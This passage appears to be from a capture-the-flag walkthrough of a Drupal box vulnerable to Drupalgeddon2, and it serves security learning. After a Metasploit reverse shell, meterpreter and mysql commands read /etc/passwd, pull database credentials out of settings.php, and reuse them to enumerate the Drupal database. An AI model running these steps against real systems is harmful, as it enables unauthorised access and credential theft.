<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">description</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Logs</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> and</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> records</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> system</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> events</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> syslog.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">package</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Core</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">version</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> VERSION</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">core</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 7.x</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">files[]</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> syslog.test</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">configure</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> admin/config/development/logging</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Information</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> added</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> by</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Drupal.org</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> packaging</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> script</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 2017-06-21</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">version</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "7.56"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">project</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "drupal"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">datestamp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "1498069849"</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Version of <code>Drupal &lt; 8.3.9 / &lt; 8.4.6 / &lt; 8.5.1</code> are prone to a Remote Code Execution security vulnerability known as <code>Drupalgeddon2</code>. More information on <a href="https://www.exploit-db.com/search?q=drupalgeddon" target="_blank" rel="noopener noreferrer">exploit-db</a>.</p>
<p>A <code>Metasploit</code> exploit exists and was used to get a reverse shell on the box.</p>
<figure><figcaption></figcaption></figure>
<figure><figcaption></figcaption></figure>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">meterpreter</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> &gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cat</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /etc/passwd</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">root:x:0:0:root:/root:/bin/bash</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">bin:x:1:1:bin:/bin:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">daemon:x:2:2:daemon:/sbin:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">adm:x:3:4:adm:/var/adm:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">sync:x:5:0:sync:/sbin:/bin/sync</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">halt:x:7:0:halt:/sbin:/sbin/halt</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">mail:x:8:12:mail:/var/spool/mail:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">operator:x:11:0:operator:/root:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">games:x:12:100:games:/usr/games:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">ftp:x:14:50:FTP</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> User:/var/ftp:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">nobody:x:99:99:Nobody:/:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">systemd-network:x:192:192:systemd</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Network</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Management:/:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">dbus:x:81:81:System</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> message</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> bus:/:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">polkitd:x:999:998:User</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> polkitd:/:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">sshd:x:74:74:Privilege-separated</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SSH:/var/empty/sshd:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">postfix:x:89:89::/var/spool/postfix:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">mysql:x:27:27:MariaDB</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Server:/var/lib/mysql:/sbin/nologin</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Under <code>/var/www/html/sites/default</code>, the <code>settings.php</code> file is present.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">meterpreter</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> &gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> download</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> settings.php</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Downloading: settings.php -</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> /mnt/pentest/Armageddon/AUDITOR/records/settings.php</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] Downloaded 25.94 KiB of 25.94 KiB (</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">100.0%</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">): settings.php -</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> /mnt/pentest/Armageddon/AUDITOR/records/settings.php</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] download   </span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">:</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> settings.php -</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> /mnt/pentest/Armageddon/AUDITOR/records/settings.php</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I looked into for sensitive information.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">$databases</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> = array (</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  'default'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    'default'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    array</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">      'database'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'drupal',</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">      'username'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'drupaluser',</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">      'password'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'CQHEy@9M*m23gBVj',</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">      'host'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'localhost',</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">      'port'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> '',</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">      'driver'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'mysql',</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">      'prefix'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> '',</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    ),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  ),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I used the information to log as the MySQL user <code>drupaluser</code>.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">meterpreter</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> &gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> shell</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Process</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 3562</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> created.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Channel</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> created.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">mysql</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -u</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> drupaluser</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -pCQHEy@9M</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">m23gBVj</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -e</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "show databases;"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Database</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">information_schema</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">drupal</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">mysql</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">performance_schema</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">mysql</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -u</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> drupaluser</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -pCQHEy@9M</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">m23gBVj</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -e</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "use drupal; show tables;"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Tables_in_drupal</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">actions</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">authmap</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">batch</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">block</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">block_custom</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">block_node_type</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">block_role</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">blocked_ips</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cache</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cache_block</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cache_bootstrap</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cache_field</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cache_filter</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cache_form</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cache_image</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cache_menu</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cache_page</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cache_path</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">comment</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">date_format_locale</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">date_format_type</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">date_formats</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">field_config</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">field_config_instance</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">field_data_body</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">field_data_comment_body</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">field_data_field_image</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">field_data_field_tags</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">field_revision_body</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">field_revision_comment_body</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">field_revision_field_image</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">field_revision_field_tags</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">file_managed</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">file_usage</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filter</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filter_format</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">flood</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">history</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">image_effects</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">image_styles</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">menu_custom</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">menu_links</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">menu_router</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">node</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">node_access</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">node_comment_statistics</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">node_revision</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">node_type</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">queue</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">rdf_mapping</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">registry</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">registry_file</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">role</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">role_permission</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">search_dataset</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">search_index</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">search_node_links</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">search_total</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">semaphore</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">sequences</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">sessions</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">shortcut_set</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">shortcut_set_users</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">system</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">taxonomy_index</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">taxonomy_term_data</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">taxonomy_term_hierarchy</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">taxonomy_vocabulary</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">url_alias</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">users</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">users_roles</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">variable</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">watchdog</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">mysql</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -u</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> drupaluser</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -pCQHEy@9M</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">m23gBVj</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -e</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "use drupal; describe users;"</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Field</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   Type</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    Null</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    Key</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">     Default</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Extra</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">uid</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">     int</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">10</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">unsigned</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">        NO</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      PRI</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">     0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">name</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    varchar</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">60</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)     </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">NO</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      UNI</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">pass</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    varchar</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">128</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)    </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">NO</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">mail</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    varchar</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">254</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)    </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">YES</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">     MUL</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">theme</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   varchar</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">255</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)    </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">NO</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">signature</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">       varchar</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">255</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)    </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">NO</span></span>
